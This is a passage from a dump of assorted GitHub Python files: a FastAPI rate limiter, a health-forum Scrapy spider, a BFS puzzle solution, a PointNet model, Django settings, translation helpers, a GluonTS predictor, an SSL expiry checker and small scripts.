call_next: F) -> Response:\n \"\"\"\n Rate limit requests per user\n \"\"\"\n user = request.headers.get(\"x-user\")\n if user:\n rate_limit_exceeded_response = await rate_limit_user(\n user=user, rate_limit=settings.user_rate_limit_per_minute\n )\n if rate_limit_exceeded_response:\n return rate_limit_exceeded_response\n\n return await call_next(request)\n\n\n@app.get(\"/user\", response_model=str | None)\ndef get_user(x_user: Annotated[str | None, Header()] = None):\n \"\"\"\n **NOTE**: The `X-User` header should be passed by a reverse proxy,\n we are manually adding it to this endpoint so you can test\n this example locally\n \"\"\"\n return x_user\n\n\nif __name__ == \"__main__\":\n uvicorn.run(\n \"app.main:app\",\n host=\"0.0.0.0\",\n port=8000,\n log_level=\"debug\",\n reload=True,\n )\n","repo_name":"dpills/rate-limiting-fastapi","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6085716812","text":"# -*- coding: utf-8 -*-\r\nimport scrapy\r\nimport hashlib\r\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\r\nfrom scrapy.contrib.linkextractors import LinkExtractor\r\nfrom scrapy.selector import Selector\r\nfrom forum.items import PostItemsList\r\nimport re\r\nimport logging\r\nfrom bs4 import BeautifulSoup\r\nimport string\r\nimport dateparser\r\nimport time\r\n\r\n## LOGGING to file\r\n#import logging\r\n#from scrapy.log import ScrapyFileLogObserver\r\n\r\n#logfile = open('testlog.log', 'w')\r\n#log_observer = ScrapyFileLogObserver(logfile, level=logging.DEBUG)\r\n#log_observer.start()\r\n\r\n\r\n# Spider for crawling multiple-sclerosis board\r\nclass ForumsSpider(CrawlSpider):\r\n name = \"multiplesclerosis_inspire_spider\"\r\n allowed_domains = [\"inspire.com\"]\r\n start_urls = [\r\n \"https://www.inspire.com/search/?query=multiple+sclerosis\",\r\n ]\r\n\r\n rules = (\r\n Rule(LinkExtractor(\r\n restrict_xpaths='//*[@id=\"search-results\"]/h3',\r\n canonicalize=True,\r\n allow='http.://(www\\.)?inspire.com/groups/.*',\r\n ), callback='parsePost', follow=False),\r\n )\r\n\r\n def getDate(self,date_str):\r\n # date_str=\"Fri Feb 12, 2010 1:54 pm\"\r\n try:\r\n date = dateparser.parse(date_str)\r\n epoch = int(date.strftime('%s'))\r\n create_date = time.strftime(\"%Y-%m-%d'T'%H:%M%S%z\", time.gmtime(epoch))\r\n return create_date\r\n except Exception:\r\n #logging.error(\">>>>>\"+date_str)\r\n return date_str\r\n \r\n def cleanText(self,text,printableOnly=True):\r\n soup = BeautifulSoup(text,'html.parser')\r\n text = soup.get_text();\r\n text = re.sub(\"(-+| +|\\n|\\r|\\t|\\0|\\x0b|\\xa0|\\xbb|\\xab)+\",' ',text).strip()\r\n if(printableOnly):\r\n return filter(lambda x: x in string.printable, text)\r\n return text \r\n\r\n def parseText(self, str):\r\n soup = BeautifulSoup(str, 'html.parser')\r\n return re.sub(\" +|\\n|\\r|\\t|\\0|\\x0b|\\xa0\",' ',soup.get_text()).strip()\r\n\r\n def parsePost(self,response):\r\n #logging.info(response)\r\n sel = Selector(response)\r\n items = []\r\n topic = self.cleanText(response.xpath('//*[@class=\"post-title\"]').extract()[0].encode('ascii'))\r\n url = response.url\r\n condition = \"multiple sclerosis\"\r\n\r\n #start message\r\n item = PostItemsList()\r\n post_info = sel.xpath('//*/div[@class=\"post-info\"]')\r\n item['author'] = self.cleanText(post_info.xpath('//*/li[@class=\"by\"]/a').extract()[0])\r\n item['author_link'] = post_info.xpath('//*/li[@class=\"by\"]/a/@href').extract()[0]\r\n item['condition'] = condition\r\n create_date = self.cleanText(post_info.xpath('//*/ul/li[@class=\"by\"]').extract()[0]).split(u'\\xb7')[1].strip()\r\n item['create_date'] = self.getDate(create_date)\r\n item['domain'] = \"\".join(self.allowed_domains)\r\n item['post'] = post_info.xpath('//*[@class=\"post-body\"]').extract()[0]\r\n # item['tag'] = 'multiple-sclerosis'\r\n item['topic'] = topic\r\n item['url'] = url\r\n items.append(item)\r\n\r\n posts = sel.xpath('//*/div[@class=\"comments-box\"]')\r\n if not posts: return items\r\n for post in posts:\r\n post_xp = post.xpath('./p')\r\n if not post_xp: continue\r\n post_msg = self.parseText(str=post_xp.extract()[0])\r\n\r\n item = PostItemsList()\r\n item['author'] = self.cleanText(post.xpath('./div/ul/li[1]/a').extract()[0])\r\n item['author_link'] = post.xpath('./div/ul/li[1]/a/@href').extract()[0]\r\n item['condition'] = condition\r\n create_date = self.cleanText(post.xpath('./div/ul/li[3]').extract()[0])\r\n item['create_date'] = self.getDate(create_date)\r\n item['domain'] = \"\".join(self.allowed_domains)\r\n item['post'] = post_msg\r\n # item['tag'] = 'multiple-sclerosis'\r\n item['topic'] = topic\r\n item['url'] = url\r\n #logging.info(post_msg)\r\n items.append(item)\r\n\r\n return items\r\n\r\n","repo_name":"florencefantine/ehealth_scraper","sub_path":"forum/spiders/multiplesclerosis_inspire_spider.py","file_name":"multiplesclerosis_inspire_spider.py","file_ext":"py","file_size_in_byte":4106,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"35643412688","text":"# baekjoon_3187 양치기 꿍\n\n\n# v1\nfrom collections import deque\n\n\ndef bfs(i,j):\n queue = deque()\n queue.append([i,j])\n visited[i][j] = 1\n wolf_num_tmp = 0\n sheep_num_tmp = 0\n if corral[i][j] == 'v':\n wolf_num_tmp = 1\n elif corral[i][j] == 'k':\n sheep_num_tmp = 1\n\n\n while queue:\n s_i, s_j = queue.popleft()\n for c in range(4):\n x = s_i + dx[c]\n y = s_j + dy[c]\n if 0 <= x < N and 0 <= y < M and visited[x][y] == 0:\n if corral[x][y] == '.':\n queue.append([x,y])\n visited[x][y] = 1\n elif corral[x][y] == 'v':\n queue.append([x,y])\n visited[x][y] = 1\n wolf_num_tmp += 1\n elif corral[x][y] == 'k':\n queue.append([x,y])\n visited[x][y] = 1\n sheep_num_tmp += 1\n if wolf_num_tmp >= sheep_num_tmp:\n animal_num[0] -= sheep_num_tmp\n else:\n animal_num[1] -= wolf_num_tmp\n\n\nN, M = map(int, input().split())\n# 양, 늑대\nanimal_num = [0,0]\ncorral = []\nvisited = [[0]*M for _ in range(N)]\ndx = [0,-1,0,1]\ndy = [-1,0,1,0]\n\nfor _ in range(N):\n tmp = list(input())\n for j in range(M):\n if tmp[j] == 'v':\n animal_num[1] += 1\n if tmp[j] == 'k':\n animal_num[0] += 1\n corral.append(tmp)\n\nfor i in range(N):\n for j in range(M):\n if visited[i][j] == 0 and corral[i][j] != '#':\n bfs(i,j)\n\nprint(*animal_num)","repo_name":"KJW159/coding-test-algorithm","sub_path":"python/baekjoon/baekjoon_3187.py","file_name":"baekjoon_3187.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4257380302","text":"import os\nimport random\nimport math\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport torch.nn.functional as F\nfrom .ctrl import MLP\n\nleaky_relu = nn.LeakyReLU(inplace=True)\n\nclass Tnet(nn.Module):\n def __init__(self, k=3, linear=nn.Linear, dropout=nn.Identity()):\n super().__init__()\n self.k=k\n self.dropout = dropout\n self.convs = nn.Sequential(\n nn.Conv1d(k, 64, 1),\n nn.BatchNorm1d(64),\n leaky_relu,\n\n nn.Conv1d(64, 128, 1),\n nn.BatchNorm1d(128),\n leaky_relu,\n\n nn.Conv1d(128, 1024, 1),\n nn.BatchNorm1d(1024),\n leaky_relu,\n )\n\n self.fc = MLP(\n in_features=1024,\n out_features=k*k,\n hidden_sizes=[512,256],\n batch_norm=True,\n dropout=dropout\n )\n def num_parameters(self, es:int): return self.fc.number_inference_parameters(es)\n def forward(self, input):\n x = self.convs(input).max(dim=-1)[0]\n init = torch.eye(self.k, requires_grad=True, device=x.device)\n return self.fc(x).reshape(-1,self.k,self.k) + init\n\nclass Transform(nn.Module):\n def __init__(self, dropout=nn.Identity(),linear=nn.Linear):\n super().__init__()\n self.input_tf = Tnet(k=3, linear=linear, dropout=dropout)\n self.input_to_feats = input_tf = nn.Sequential(\n nn.Conv1d(3,64,1),\n nn.BatchNorm1d(64),\n leaky_relu,\n )\n\n self.feature_transform = Tnet(k=64, linear=linear, dropout=dropout)\n self.feat_conv = nn.Sequential(\n nn.Conv1d(64,128,1),\n nn.BatchNorm1d(128),\n leaky_relu,\n\n nn.Conv1d(128,1024,1),\n nn.BatchNorm1d(1024),\n )\n\n def num_parameters(self, es:int):\n return self.input_tf.num_parameters(es) + self.feature_transform.num_parameters(es)\n def forward(self, x):\n matrix3x3 = self.input_tf(x)\n\n xb = torch.bmm(x.transpose(1,2), matrix3x3).transpose(1,2)\n xb = self.input_to_feats(xb)\n\n matrix64x64 = self.feature_transform(xb)\n xb = torch.bmm(xb.transpose(1,2), matrix64x64).transpose(1,2)\n xb = self.feat_conv(xb)\n output = xb.max(dim=-1)[0]\n return output, matrix3x3, matrix64x64\n\nclass PointNet(nn.Module):\n def __init__(self, classes = 10, dropout=nn.Dropout(0.3), linear=nn.Linear):\n super().__init__()\n self.dropout = dropout\n self.transform = Transform(linear=linear, dropout=dropout)\n\n self.compress = MLP(\n in_features=1024,\n out_features=10,\n hidden_sizes=[512,256],\n batch_norm=True,\n dropout=dropout\n )\n\n def num_parameters(self, es:int):\n return self.transform.num_parameters(es) + self.compress.number_inference_parameters(es)\n def forward(self, input):\n x, matrix3x3, matrix64x64 = self.transform(input)\n return self.compress(x), matrix3x3, matrix64x64\n\n# reads just the points from an off file\ndef read_off(f):\n with open(f, \"r\") as f:\n first = f.readline().lower().strip()\n assert(first == \"off\"), first\n v, faces, e = [int(v) for v in f.readline().split()]\n lines = f.readlines()\n verts = torch.tensor([\n [float(val) for val in line.split()]\n for line in lines[:v]\n ])\n faces = torch.tensor([\n [int(val) for val in line.split()]\n for line in lines[v:v+faces]\n ])\n return verts, faces\n\n\nclass ModelNet10(torch.utils.data.Dataset):\n '''Object classification on ModelNet'''\n def __init__(self, root, npoints=1000, train=True):\n self.root = root\n\n self.cat = {\n \"bathtub\": 0,\n \"bed\": 1,\n \"chair\": 2,\n \"desk\": 3,\n \"dresser\": 4,\n \"monitor\": 5,\n \"night_stand\": 6,\n \"sofa\": 7,\n \"table\": 8,\n \"toilet\": 9,\n }\n\n self.num_classes = len(self.cat)\n self.datapath = []\n FLAG = 'train' if train else 'test'\n self.train = train\n for item in os.listdir(self.root):\n if not os.path.isdir(os.path.join(self.root, item)): continue\n for f in os.listdir(os.path.join(self.root, item, FLAG)):\n if not f.endswith('.off'): continue\n self.datapath.append((os.path.join(self.root, item, FLAG, f), self.cat[item]))\n self.npoints = npoints\n\n def __getitem__(self, idx):\n fn = self.datapath[idx]\n points, faces = read_off(fn[0])\n replace = points.shape[0] < self.npoints\n choice = np.random.choice(points.shape[0], self.npoints, replace=replace)\n points = points[choice, :]\n\n label = fn[1]\n\n if self.train:\n points = torch.randn_like(points) * 1e-1 + points\n theta = random.random() * 2. * math.pi\n rot_matrix = torch.tensor([[ math.cos(theta), -math.sin(theta), 0],\n [ math.sin(theta), math.cos(theta), 0],\n [0, 0, 1]])\n points = torch.matmul(rot_matrix[None], points[...,None]).squeeze(-1)\n\n\n points = points - points.mean(dim=0)\n points = points/points.norm(dim=1).max(dim=0)[0]\n\n label = torch.tensor([label], dtype=torch.int64)\n return points, label\n\n def __len__(self): return len(self.datapath)\n\n","repo_name":"JulianKnodt/structural_dropout","sub_path":"src/pointnet.py","file_name":"pointnet.py","file_ext":"py","file_size_in_byte":4930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23257533565","text":"from turtle import *\nfrom time import sleep\nspeed(10)\n\n#red section\ncolor('red')\nbegin_fill()\nfor i in range(2):\n fd(125)\n rt(90)\n fd(125)\n rt(90)\nend_fill()\n\n#white cross\ncolor('white')\nbegin_fill()\npu()\ngoto(50, -50)\npd()\nfor i in range(4):\n lt(90)\n fd(25)\n rt(90)\n fd(25)\n rt(90)\n fd(25)\nend_fill()\n\nsleep(10)","repo_name":"pyanpyan/CS160PythonProjects","sub_path":"switzerlandFlag.py","file_name":"switzerlandFlag.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8425182994","text":"from .base import *\n\nDEBUG = True\nALLOWED_HOSTS = ['*']\n\nINSTALLED_APPS += ['debug_toolbar']\nMIDDLEWARE += ['debug_toolbar.middleware.DebugToolbarMiddleware']\nINTERNAL_IPS = ['127.0.0.1']\n\n\n# DEBUG TOOLBAR SETTINGS\nDEBUG_TOOLBAR_PANELS = [\n 'debug_toolbar.panels.versions.VersionsPanel',\n 'debug_toolbar.panels.timer.TimerPanel',\n 'debug_toolbar.panels.settings.SettingsPanel',\n 'debug_toolbar.panels.headers.HeadersPanel',\n 'debug_toolbar.panels.request.RequestPanel',\n 'debug_toolbar.panels.sql.SQLPanel',\n 'debug_toolbar.panels.staticfiles.StaticFilesPanel',\n 'debug_toolbar.panels.templates.TemplatesPanel',\n 'debug_toolbar.panels.cache.CachePanel',\n 'debug_toolbar.panels.signals.SignalsPanel',\n 'debug_toolbar.panels.logging.LoggingPanel',\n 'debug_toolbar.panels.redirects.RedirectsPanel',\n]\n\n\ndef show_toolbar(request):\n return True\n\n\nDEBUG_TOOLBAR_CONFIG = {\n 'INTERCEPT_REDIRECTS': False,\n 'SHOW_TOOLBAR_CALLBACK': show_toolbar\n}\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\n\nLOGGING = {\n # スキーマバージョンは「1」固定\n 'version': 1,\n # すでに作成されているロガーを無効化しないための設定\n 'disable_existing_loggers': False,\n # ログフォーマット\n 'formatters': {\n # 開発用\n 'development': {\n 'format': '[{name}] {asctime} [{levelname}] {pathname}:{lineno:d} {message}',\n 'style': '{',\n },\n },\n # ハンドラ\n 'handlers': {\n # コンソール出力用ハンドラ\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'development',\n },\n },\n # ルートロガー\n 'root': {\n 'handlers': ['console'],\n 'level': 'INFO',\n },\n # その他のロガー\n 'loggers': {\n # 自作アプリケーションごとにロガーを定義することも可能\n 'sns': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': False,\n },\n # Django本体が出力するログ全般を扱うロガー\n 'django': {\n 'handlers': ['console'],\n 'level': 'INFO',\n 'propagate': False,\n },\n # 発行されるSQL文を出力するためのロガー\n 'django.db.backends': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': False,\n },\n },\n}\n","repo_name":"shinueda/KeiLink","sub_path":"backend/config/settings/development.py","file_name":"development.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2134093362","text":"from django.contrib import admin\r\nfrom .import models\r\n\r\n\r\nclass FinancialSummmaryRecordAdmin(admin.ModelAdmin):\r\n\tlist_display = [\r\n\t\t'amount_paid', 'total_fee_due', 'balance', 'total_test',\r\n\t\t'total_cost', 'total_discount'\t\r\n\t]\r\n\r\nclass PatientAdmin(admin.ModelAdmin):\r\n\tlist_display = [\r\n\t\t'patient_name', 'age', 'sex', 'diagnosis', 'department', 'hospital', 'laboratory', 'delivery', 'patient_id', 'mobile_number'\r\n\t]\r\n\r\nclass LaboratoryAdmin(admin.ModelAdmin):\r\n\tlist_display = [\r\n\t\t'laboratory_name', 'laboratory_manager', 'address', 'Tel', 'digital_address', 'region_of_location'\r\n\t]\r\n\r\nclass HospitalAdmin(admin.ModelAdmin):\r\n\tlist_display = ['hospital_name', 'region_of_location', 'address', 'Tel', 'digital_address']\r\n\r\nclass ResultAdmin(admin.ModelAdmin):\r\n\tlist_display = [#\r\n\t\t'laboratory', 'patient', 'specimen_id', 'upload_pdf', 'parameter', 'value',\r\n\t\t'comments', 'send_to'\r\n\t]\r\n\r\nclass TestAdmin(admin.ModelAdmin):\r\n\tlist_display = [\r\n\t\t'referring_facility', 'refer_sample_to', 'sample_no', 'date', 'age_of_patient', 'gender',\r\n\t\t'department', 'brief_notes', 'name_of_referring_clinician'\r\n\t]\r\n\r\nclass DeliveryAdmin(admin.ModelAdmin):\r\n\tlist_display = [\r\n\t\t'company_name', 'owner', 'location', \r\n\t\t'digital_address', 'address', 'tel'\r\n\t]\r\n\r\nadmin.site.register(models.Laboratory, LaboratoryAdmin)\r\nadmin.site.register(models.Patient, PatientAdmin)\r\nadmin.site.register(models.FinancialSummmaryRecord, FinancialSummmaryRecordAdmin)\r\nadmin.site.register(models.Hospital, HospitalAdmin)\r\nadmin.site.register(models.Result, ResultAdmin)\r\nadmin.site.register(models.Test, TestAdmin)\r\nadmin.site.register(models.Delivery, DeliveryAdmin)","repo_name":"timothysaatum/laboratory","sub_path":"LDMSApp/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71326734490","text":"from train_set_preferences import mrda_test_set_idx, swda_test_set_idx\nfrom google.cloud import translate\nfrom dataset import load_swda_corpus_data\n\n\ndef translate_test_data_by_words(talks, talk_names, talks_to_translate, language):\n translate_client = translate.Client()\n numChars = 0\n for i in range(len(talks)):\n if talk_names[i] in talks_to_translate:\n conversation, _ = talks[i]\n print(\"Translating talk: %s\" % talk_names[i])\n for j in range(len(conversation)):\n utterance = conversation[j]\n for k in range(len(utterance)):\n word = utterance[k]\n numChars += len(word)\n translation = translate_client.translate(word, target_language=language)\n utterance[k] = translation['translatedText']\n print(\"Translated talk: %s\" % talk_names[i])\n\n print(\"Total characters translated=\" + str(numChars))\n\n return talks, talk_names\n\ndef translate_test_data_by_utterances(talks, talk_names, talks_to_translate, language):\n translate_client = translate.Client()\n\n numChars = 0\n for i in range(len(talks)):\n if talk_names[i] in talks_to_translate:\n conversation, _ = talks[i]\n print(\"Translating talk: %s\" % talk_names[i])\n for j in range(len(conversation)):\n utterance = \" \".join(conversation[j])\n numChars += len(utterance)\n translation = translate_client.translate(utterance, target_language=language)\n translated_utterance = translation['translatedText']\n conversation[j] = translated_utterance.split()\n print(\"Translated talk: %s\" % talk_names[i])\n \n\n print(\"Total characters translated=\" + str(numChars))\n\n return talks, talk_names\n\ndef translate_and_store_swda_corpus_test_data(dataset, dataset_loading_function, dataset_file_path, translation_file_path, language, translate_whole_utterances = True):\n talks_read, talk_names, _, _ = dataset_loading_function(dataset_file_path)\n\n if dataset == 'MRDA':\n test_set_idx = mrda_test_set_idx\n elif dataset == 'SwDA':\n test_set_idx = swda_test_set_idx\n else:\n print(\"Unknown dataset!\")\n exit(0)\n\n if translate_whole_utterances:\n unit_str = 'u'\n else:\n unit_str = 'w'\n\n print( \"# of talks read:\" + str( len(talks_read) ) )\n\n for i in range(len(talks_read)):\n if talk_names[i] in test_set_idx:\n if translate_whole_utterances:\n talk_read, talk_name = translate_test_data_by_utterances([talks_read[i]], [talk_names[i]], test_set_idx, language)\n else:\n talk_read, talk_name = translate_test_data_by_words([talks_read[i]], [talk_names[i]], test_set_idx, language)\n talk_read = talk_read[0]\n talk_name = talk_name[0]\n\n print(\"Storing file: %s\" % talk_names[i])\n fileName = translation_file_path + talk_name + \"_\" + language + \"_\" + unit_str + '.txt'\n print(fileName)\n f = open(fileName, 'w')\n conversation = talk_read[0]\n f.write(str(len(conversation)) + '\\n')\n for utterance in conversation:\n f.write(str(len(utterance)) + '\\n')\n utterance_string = \" \".join(utterance)\n f.write(utterance_string + '\\n')\n tags = talks_read[i][1]\n for tag in tags:\n #print(\"tag:\" + str(tag))\n f.write(str(tag) + '\\n')\n f.close()\n\ndef read_translated_swda_corpus_data(dataset, talks_read, talk_names, translation_file_path, language, use_utterance_translation = True):\n if use_utterance_translation:\n unit_str = 'u'\n else:\n unit_str = 'w'\n\n if dataset == 'MRDA':\n test_set_idx = mrda_test_set_idx\n elif dataset == 'SwDA':\n test_set_idx = swda_test_set_idx\n else:\n print(\"Unknown dataset!\")\n exit(0)\n\n for i in range(len(talks_read)):\n if talk_names[i] in test_set_idx:\n f = open(translation_file_path + talk_names[i] + \"_\" + language + \"_\" + unit_str + '.txt', 'r')\n conversation = []\n num_utterances = int(f.readline())\n for j in range(num_utterances):\n num_words = int(f.readline())\n utterance_string = f.readline()\n utterance = utterance_string.split()\n conversation.append(utterance)\n\n tags = []\n for j in range(num_utterances):\n tag = int(f.readline())\n tags.append(tag)\n f.close()\n\n talks_read[i] = (conversation, tags)\n\n return talks_read, talk_names\n","repo_name":"ilimugur/short-text-classification","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"32530977600","text":"#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Created by vikey on 2018/2/13\n\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport xlrd\nimport xml.dom.minidom\nimport json\n\n\ndef main():\n \"\"\" read excel\n\n 参考链接:\n https://github.com/python-excel/xlrd\n http://xlrd.readthedocs.io/en/latest/\n \"\"\"\n\n # 读取 excel 文件\n workbook = xlrd.open_workbook(\"student.xls\", formatting_info=True, encoding_override=\"utf-8\")\n sheet = workbook.sheet_by_index(0)\n sheet_content = {}\n for sheet_number_row in range(sheet.nrows):\n sheet_row = sheet.row(sheet_number_row)\n content_key = sheet_row[0].value\n content_value = []\n for row in sheet_row[1:]:\n tmp_value = round(row.value) if isinstance(row.value, float) else row.value\n content_value.append(tmp_value)\n\n # sheet_content[content_key] = content_value\n sheet_content[content_key] = str(content_value)\n\n xml_doc = xml.dom.minidom.Document()\n\n # 创建 xml 根节点\n xml_root = xml_doc.createElement(\"root\")\n xml_doc.appendChild(xml_root)\n # 创建 students 节点并写入学生信息\n student_text = xml_doc.createElement(\"students\")\n student_comment = \"\"\"\"\"\"\n # 当 sheet_content 中含中文时,需要参数 ensure_ascii=False\n student_body = json.dumps(sheet_content, ensure_ascii=False, indent=4)\n student_text.appendChild(xml_doc.createTextNode(student_comment))\n student_text.appendChild(xml_doc.createTextNode(student_body))\n\n xml_root.appendChild(student_text)\n\n with open(\"student.xml\", \"w\") as f:\n f.write(xml_doc.toprettyxml())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"chenyuanqi/python-training","sub_path":"src/day_13/write_xls_to_xml.py","file_name":"write_xls_to_xml.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36144605412","text":"import math\nimport board\nfrom adafruit_display_shapes.triangle import Triangle\nfrom adafruit_display_shapes.line import Line\nfrom adafruit_display_shapes.circle import Circle\nimport displayio\nimport adafruit_displayio_ssd1306\nimport busio #import libraries\n\ndisplayio.release_displays()\nsda_pin = board.GP14\nscl_pin = board.GP15\ni2c = busio.I2C(scl_pin, sda_pin)\n\ndisplay_bus = displayio.I2CDisplay(i2c, device_address=0x3d, reset=board.GP19)\ndisplay = adafruit_displayio_ssd1306.SSD1306(display_bus, width=128, height=64)\n\n\n\ndef tri_area(x1, y1, x2, y2, x3, y3): #Makes function\n niceAreaValue = (abs(x1*(y2-y3)+x2*(y3-y1)+x3*(y1-y2)))/2 #calculates triangle area\n print(f\"The area of the triangle with vertices ({x1}, {y1}), ({x2}, {y2}), ({x3}, {y3}) is {niceAreaValue}\") #prints it\nwhile True:\n try:\n txt1 = input(\"Input coord set 1 (x,y)\") #Asks input\n set1 = txt1.split(\",\") #Splits it into list\n\n a1 = float(set1[0]) #Pulls from the list\n b1 = float(set1[1])\n\n txt2 = input(\"Input coord set 2 (x,y)\")\n set2 = txt2.split(\",\")\n\n a2 = float(set2[0])\n b2 = float(set2[1])\n\n txt3 = input(\"Input coord set 3 (x,y)\")\n set3 = txt3.split(\",\")\n\n a3 = float(set3[0])\n b3 = float(set3[1])\n\n tri_area(a1, b1, a2, b2, a3, b3) #Calculates the area with tri_area \n\n c1 = int(a1)\n d1 = int(b1)\n\n c2 = int(a2)\n d2 = int(b2)\n\n c3 = int(a3)\n d3 = int(b3) #Sets up variables to be used in display\n\n splash = displayio.Group()\n\n hline = Line(0, 32, 128, 32, color=0xFFFF00)\n splash.append(hline)\n\n hline = Line(64, 64, 64, 0, color=0xFFFF00)\n splash.append(hline)\n\n circle = Circle(64, 32, 2, outline=0xFFFF00) #All of the display things \n splash.append(circle)\n\n\n triangle = Triangle(c1, d1, c2, d2, c3, d3, outline=0xFFFF00)\n splash.append(triangle)\n display.show(splash)\n except:\n print(\"Please input valid coordinates (remember format x,y)\") #If there's an error it returns this","repo_name":"inovotn04/Engineering_4_Notebook","sub_path":"raspberry-pi/triangleDisplay.py","file_name":"triangleDisplay.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"38834274363","text":"from typing import Iterator, Optional\n\n# Third-party imports\nimport numpy as np\nfrom pydantic import PositiveInt\n\n# First-party imports\nfrom gluonts.core.component import validated\nfrom gluonts.dataset.common import DataEntry, Dataset\nfrom gluonts.dataset.field_names import FieldName\nfrom gluonts.model.trivial.constant import ConstantPredictor\nfrom gluonts.model.estimator import Estimator\nfrom gluonts.model.forecast import Forecast, SampleForecast\nfrom gluonts.model.predictor import RepresentablePredictor, FallbackPredictor\nfrom gluonts.support.pandas import frequency_add\n\n\nclass MeanPredictor(RepresentablePredictor, FallbackPredictor):\n \"\"\"\n A :class:`Predictor` that predicts the samples based on the mean of the\n last `context_length` elements of the input target.\n\n Parameters\n ----------\n context_length\n Length of the target context used to condition the predictions.\n prediction_length\n Length of the prediction horizon.\n num_samples\n Number of samples to use to construct :class:`SampleForecast` objects\n for every prediction.\n freq\n Frequency of the predicted data.\n \"\"\"\n\n @validated()\n def __init__(\n self,\n prediction_length: int,\n freq: str,\n num_samples: int = 100,\n context_length: Optional[int] = None,\n ) -> None:\n super().__init__(freq=freq, prediction_length=prediction_length)\n self.context_length = context_length\n self.num_samples = num_samples\n self.shape = (self.num_samples, self.prediction_length)\n\n def predict_item(self, item: DataEntry) -> SampleForecast:\n if self.context_length is not None:\n target = item[\"target\"][-self.context_length :]\n else:\n target = item[\"target\"]\n\n mean = np.nanmean(target)\n std = np.nanstd(target)\n normal = np.random.standard_normal(self.shape)\n\n start_date = frequency_add(item[\"start\"], len(item[\"target\"]))\n return SampleForecast(\n samples=std * normal + mean,\n start_date=start_date,\n freq=self.freq,\n item_id=item.get(FieldName.ITEM_ID),\n )\n\n\nclass MeanEstimator(Estimator):\n \"\"\"\n An `Estimator` that computes the mean targets in the training data,\n in the trailing `prediction_length` observations, and produces\n a `ConstantPredictor` that always predicts such mean value.\n\n Parameters\n ----------\n prediction_length\n Prediction horizon.\n freq\n Frequency of the predicted data.\n num_samples\n Number of samples to include in the forecasts. Not that the samples\n produced by this predictor will all be identical.\n \"\"\"\n\n @validated()\n def __init__(\n self,\n prediction_length: PositiveInt,\n freq: str,\n num_samples: PositiveInt,\n ) -> None:\n super().__init__()\n self.prediction_length = prediction_length\n self.freq = freq\n self.num_samples = num_samples\n\n def train(\n self,\n training_data: Dataset,\n validation_dataset: Optional[Dataset] = None,\n ) -> ConstantPredictor:\n contexts = np.array(\n [\n item[\"target\"][-self.prediction_length :]\n for item in training_data\n ]\n )\n\n samples = np.broadcast_to(\n array=contexts.mean(axis=0),\n shape=(self.num_samples, self.prediction_length),\n )\n\n return ConstantPredictor(samples=samples, freq=self.freq)\n","repo_name":"Mcompetitions/M5-methods","sub_path":"Code of Winning Methods/A2/gluonts/model/trivial/mean.py","file_name":"mean.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":514,"dataset":"github-code","pt":"32"} +{"seq_id":"72042826650","text":"import socket\r\nimport ssl\r\nimport datetime\r\nimport json\r\n\r\n\r\ndef ssl_expiry_datetime(hostname):\r\n ssl_date_fmt = r'%b %d %H:%M:%S %Y %Z'\r\n\r\n context = ssl.create_default_context()\r\n conn = context.wrap_socket(\r\n socket.socket(socket.AF_INET),\r\n server_hostname=hostname,\r\n )\r\n conn.settimeout(3.0)\r\n\r\n conn.connect((hostname, 443))\r\n ssl_info = conn.getpeercert()\r\n return datetime.datetime.strptime(ssl_info['notAfter'], ssl_date_fmt)\r\n\r\n\r\nwith open(\"domains.json\", \"r\") as f:\r\n domains_list = json.loads(f.read())[\"domains\"]\r\n\r\nfor domain in domains_list:\r\n cert_expiry = ssl_expiry_datetime(domain)\r\n print(domain, \":\", (cert_expiry-datetime.datetime.now()).days, \"days left\")\r\n","repo_name":"EvelineV/bits-and-pieces","sub_path":"cert_checker/check_certs.py","file_name":"check_certs.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38388840049","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# read in data from text file\n# https://stackoverflow.com/questions/15233340/getting-rid-of-n-when-using-readlines\n# https://www.freecodecamp.org/news/the-string-strip-method-in-python-explained/\nwith open('output.txt', 'r') as f:\n lines = f.readlines()\n temperature = int(lines[0].split(':')[1].strip())\n pressure = int(lines[1].split(':')[1].strip())\n flow_rate = float(lines[2].split(':')[1].strip())\n monolayer_count = 